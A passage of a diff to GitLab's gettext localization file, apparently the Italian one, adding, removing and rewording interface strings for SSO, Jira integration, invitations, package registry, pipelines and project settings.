+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr "Membri"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr "Aperto"
msgid "Opens in a new window"
msgstr "Si apre in una nuova finestra"
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr "Opzioni"
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
